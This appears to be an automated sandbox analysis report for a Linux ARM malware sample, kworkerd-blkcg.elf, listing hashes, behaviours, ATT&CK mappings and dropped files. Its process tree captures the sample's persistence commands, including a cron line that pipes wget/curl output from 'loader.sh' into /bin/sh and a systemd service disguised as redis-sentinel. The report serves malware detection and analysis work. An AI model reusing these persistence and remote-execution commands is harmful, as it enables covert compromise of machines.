Analysis
- max time kernel
21s - max time network
148s - platform
debian-12_armhf - resource
debian12-armhf-20260513-en - resource tags
arch:armhfimage:debian12-armhf-20260513-enkernel:6.1.0-17-armmp-lpaelocale:en-usos:debian-12-armhfsystem - submitted
27/06/2026, 17:28
Static task
static1
Behavioral task
behavioral1
Sample
kworkerd-blkcg.elf
Resource
debian12-armhf-20260513-en
General
- Target kworkerd-blkcg.elf
- Size 259KB
- Sample260627-v2aekscw4q
- SHA256 bf23faf4440b3ecf07ebc99d4961bae4274a68c0ee8bb35f1936fcb80284ef47
- MD5 a736c0b9128212df18b435bc4d8556c9
- SHA1 00eaeead4afaaa1465db24367ffcd83e0a647167
- SHA512 55f00bfd5b1ea73737d4ec91aeaddcd254a485a9610767b75de0bee4340d1281556077469ca9c0674e7b26f1459198aa3de1eddb5c6460af9891ec59ebf6de5b
- SSDEEP 6144:Zy9dw+Q+l4FXeFutEV4EU1NvF7AGgp/LaRSQaeo85kYv9qrEiwoo4QnVe:kDIXeFutE+zhBA/LaRHaeLkYv9qIso4C
- TLSH T15F442819BE409F02C5D126FAFAAE829933577BB8D3EE7112E9145F64338A48F0F67141
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Deletes itself 1 IoCs
pid Process 794 kworkerd-blkcg.elf - Modifies Watchdog functionality 1 TTPs 2 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
description ioc Process File opened for modification /dev/watchdog kworkerd-blkcg.elf File opened for modification /dev/misc/watchdog kworkerd-blkcg.elf - Unexpected DNS network traffic destination 2 IoCs
Network traffic to other servers than the configured DNS servers was detected on the DNS port.
description ioc Destination IP 9.9.9.9 Destination IP 208.67.222.222 - Creates/modifies Cron job 1 TTPs 2 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.rsTtjV crontab File opened for modification /var/spool/cron/crontabs/root kworkerd-blkcg.elf - Enumerates active TCP sockets 1 TTPs 1 IoCs
Gets active TCP sockets from /proc virtual filesystem.
description ioc Process File opened for reading /proc/net/tcp kworkerd-blkcg.elf - Enumerates running processes
Discovers information about currently running processes on the system
- Modifies systemd 2 TTPs 1 IoCs
Adds/ modifies systemd service files. Likely to achieve persistence.
description ioc Process File opened for modification /etc/systemd/system/redis-sentinel.service kworkerd-blkcg.elf - Reads MAC address of network interface 2 TTPs 1 IoCs
Fetches the MAC address of active network interfaces. May be used to detect known values for hypervisors.
description ioc Process File opened for reading /sys/class/net/eth0/address kworkerd-blkcg.elf - Changes its process name 1 IoCs
description ioc pid Process Changes the process name, possibly in an attempt to hide itself redis-server redis-sentinel redis-cli rdb-check aof-rewrite 794 kworkerd-blkcg.elf - Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo kworkerd-blkcg.elf - Reads system network configuration 1 TTPs 1 IoCs
Uses contents of /proc filesystem to enumerate network settings.
description ioc Process File opened for reading /proc/net/tcp kworkerd-blkcg.elf - Command and Scripting Interpreter: Unix Shell 1 TTPs 3 IoCs
Execute scripts via Unix Shell.
pid Process 802 sh 824 sh 853 sh - Enumerates kernel/hardware configuration 1 TTPs 1 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/class/net kworkerd-blkcg.elf -
description ioc Process File opened for reading /proc/7/cmdline kworkerd-blkcg.elf File opened for reading /proc/57/cmdline kworkerd-blkcg.elf File opened for reading /proc/220/cmdline kworkerd-blkcg.elf File opened for reading /proc/353/stat kworkerd-blkcg.elf File opened for reading /proc/34/cmdline kworkerd-blkcg.elf File opened for reading /proc/315/cmdline kworkerd-blkcg.elf File opened for reading /proc/728/cmdline kworkerd-blkcg.elf File opened for reading /proc/13/stat kworkerd-blkcg.elf File opened for reading /proc/22/stat kworkerd-blkcg.elf File opened for reading /proc/27/stat kworkerd-blkcg.elf File opened for reading /proc/357/stat kworkerd-blkcg.elf File opened for reading /proc/9/cmdline kworkerd-blkcg.elf File opened for reading /proc/142/cmdline kworkerd-blkcg.elf File opened for reading /proc/36/cmdline kworkerd-blkcg.elf File opened for reading /proc/46/cmdline kworkerd-blkcg.elf File opened for reading /proc/341/cmdline kworkerd-blkcg.elf File opened for reading /proc/369/cmdline kworkerd-blkcg.elf File opened for reading /proc/8/stat kworkerd-blkcg.elf File opened for reading /proc/198/stat kworkerd-blkcg.elf File opened for reading /proc/241/stat kworkerd-blkcg.elf File opened for reading /proc/333/stat kworkerd-blkcg.elf File opened for reading /proc/337/cmdline kworkerd-blkcg.elf File opened for reading /proc/357/cmdline kworkerd-blkcg.elf File opened for reading /proc/788/cmdline kworkerd-blkcg.elf File opened for reading /proc/786/stat kworkerd-blkcg.elf File opened for reading /proc/11/cmdline kworkerd-blkcg.elf File opened for reading /proc/27/cmdline kworkerd-blkcg.elf File opened for reading /proc/30/cmdline kworkerd-blkcg.elf File opened for reading /proc/12/stat kworkerd-blkcg.elf File opened for reading /proc/17/stat kworkerd-blkcg.elf File opened for reading /proc/23/stat kworkerd-blkcg.elf File opened for reading /proc/789/cmdline kworkerd-blkcg.elf File opened for reading /proc/32/stat kworkerd-blkcg.elf File opened for reading /proc/45/stat kworkerd-blkcg.elf File opened for reading /proc/198/cmdline kworkerd-blkcg.elf File opened for reading /proc/353/cmdline kworkerd-blkcg.elf File opened for reading /proc/790/cmdline kworkerd-blkcg.elf File opened for reading /proc/33/stat kworkerd-blkcg.elf File opened for reading /proc/22/cmdline kworkerd-blkcg.elf File opened for reading /proc/51/cmdline kworkerd-blkcg.elf File opened for reading /proc/143/cmdline kworkerd-blkcg.elf File opened for reading /proc/316/cmdline kworkerd-blkcg.elf File opened for reading /proc/783/cmdline kworkerd-blkcg.elf File opened for reading /proc/34/stat kworkerd-blkcg.elf File opened for reading /proc/624/stat kworkerd-blkcg.elf File opened for reading /proc/643/stat kworkerd-blkcg.elf File opened for reading /proc/15/cmdline kworkerd-blkcg.elf File opened for reading /proc/31/cmdline kworkerd-blkcg.elf File opened for reading /proc/56/cmdline kworkerd-blkcg.elf File opened for reading /proc/785/cmdline kworkerd-blkcg.elf File opened for reading /proc/18/stat kworkerd-blkcg.elf File opened for reading /proc/73/stat kworkerd-blkcg.elf File opened for reading /proc/341/stat kworkerd-blkcg.elf File opened for reading /proc/2/cmdline kworkerd-blkcg.elf File opened for reading /proc/26/cmdline kworkerd-blkcg.elf File opened for reading /proc/784/cmdline kworkerd-blkcg.elf File opened for reading /proc/4/stat kworkerd-blkcg.elf File opened for reading /proc/193/stat kworkerd-blkcg.elf File opened for reading /proc/12/cmdline kworkerd-blkcg.elf File opened for reading /proc/683/cmdline kworkerd-blkcg.elf File opened for reading /proc/3/stat kworkerd-blkcg.elf File opened for reading /proc/25/stat kworkerd-blkcg.elf File opened for reading /proc/29/stat kworkerd-blkcg.elf File opened for reading /proc/51/stat kworkerd-blkcg.elf - Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/.redis-server.pid kworkerd-blkcg.elf
Processes
-
/tmp/kworkerd-blkcg.elf/tmp/kworkerd-blkcg.elf1⤵
- Deletes itself
- Modifies Watchdog functionality
- Creates/modifies Cron job
- Enumerates active TCP sockets
- Modifies systemd
- Reads MAC address of network interface
- Changes its process name
- Checks CPU configuration
- Reads system network configuration
- Enumerates kernel/hardware configuration
- Reads runtime system information
- Writes file to tmp directory
PID:787 -
/bin/sh/bin/sh -c "/bin/systemctl daemon-reload 2>/dev/null"2⤵
- Command and Scripting Interpreter: Unix Shell
PID:802 -
/bin/systemctl/bin/systemctl daemon-reload3⤵PID:805
-
-
-
/bin/sh/bin/sh -c "/bin/systemctl enable --now redis-sentinel.service 2>/dev/null"2⤵
- Command and Scripting Interpreter: Unix Shell
PID:824 -
/bin/systemctl/bin/systemctl enable --now redis-sentinel.service3⤵PID:827
-
-
-
/bin/shsh -c "/usr/bin/crontab -l 2>/dev/null"2⤵PID:851
-
/usr/bin/crontab/usr/bin/crontab -l3⤵PID:852
-
-
-
/bin/sh/bin/sh -c "/usr/bin/crontab - <<'ENDCRON' * * * * * /bin/sh -c 'kill -0 794 2>/dev/null && exit 0; (wget -qO- loader.sh || curl -sL loader.sh) | /bin/sh' > /dev/null 2>&1 ENDCRON"2⤵
- Command and Scripting Interpreter: Unix Shell
PID:853 -
/usr/bin/crontab/usr/bin/crontab -3⤵
- Creates/modifies Cron job
PID:854
-
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1Unix Shell
1Scheduled Task/Job
1Cron
1Persistence
Boot or Logon Autostart Execution
1XDG Autostart Entries
1Create or Modify System Process
1Systemd Service
1Scheduled Task/Job
1Cron
1Privilege Escalation
Boot or Logon Autostart Execution
1XDG Autostart Entries
1Create or Modify System Process
1Systemd Service
1Scheduled Task/Job
1Cron
1Defense Evasion
Impair Defenses
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path /etc/systemd/system/redis-sentinel.service
- Size 306B
- SHA256 13bee754db90aaaf5b11e836404fe381c69e607700ec06bf8105de9d8ec38e62
- MD5 ac22af9bc3d97193cb36b48a0a24c799
- SHA1 694cf4929a9b4fb5475f2e16ffbf75a0fad3c2b8
- SHA512 6f277aa2d59cf18f1b9aa8288d1d8bc259268dc9b6dc835f5ed70cfc7a755dfba038fe80bfd654ff0c474a69358bd393bc051cd53979a90e76fc2507ec0db539
- TLSH T15BE07D63172150A3540F5C73CF53DBC00810850B0A87B07C1DE0359CA1D2B8FF0359E4
- MD5 SHA1 SHA512 TLSH
- Path /tmp/.redis-server.pid
- Size 3B
- SHA256 5283f1b4e66467616feca1e0162c7d37e4e304623d6343a525553ffb436cbdfe
- MD5 82489c9737cc245530c7a6ebef3753ec
- SHA1 41990bc354116362c6e6e8aa088d4e703104e6f7
- SHA512 a8f5f5fbb36192ddd57c74ec621b832a4fc62944abc902d540328b03b65bba19fae9fb928c614261d47f3d7ae45629b8add98a80f907a29bf460fceec54915ad
- MD5 SHA1 SHA512
- Path /var/spool/cron/crontabs/root
- Size 129B
- SHA256 e65f53f851595288b9248c31215708eee9f024bfc30435ca3d736ae8651c0fdf
- MD5 def44de2786a182954938366e8057a56
- SHA1 1876de42770b3363802f9d206ac56a083d139c94
- SHA512 a7e157367533f2416b33864168f276f711799ebc5da1967d529773419bc11c6f2ebd29420973b7b8b5e1cf77857e91ff14f762837d6fc645ef8874d59cf1bbee
- TLSH T113B04C71D461DA25650540389319D9DD0442596B4CA57525548DC958948C76BA29CA60
- MD5 SHA1 SHA512 TLSH
- Path /var/spool/cron/crontabs/tmp.rsTtjV
- Size 304B
- SHA256 2bb4ce07947ec34dc575e5294445a9f9111d237fc7fb8b5a037bab9be84a100d
- MD5 9ad9edc42ae10d038655ef71917db60b
- SHA1 32a690dac80fa615ced256a1596d7bef31719db6
- SHA512 e0ac265f1d2628db9b462641bcfe1eaaa6ff814346ad819b8a1f924690f36cf22cb264542d95f18871009143494f343bf1ddca483a0a8ac56e073ad8c26cf12f
- TLSH T1AFE07D75E911A9357A040658535A48DC0582D43F889E7E60E0CD4408418D35F63D8D70
- MD5 SHA1 SHA512 TLSH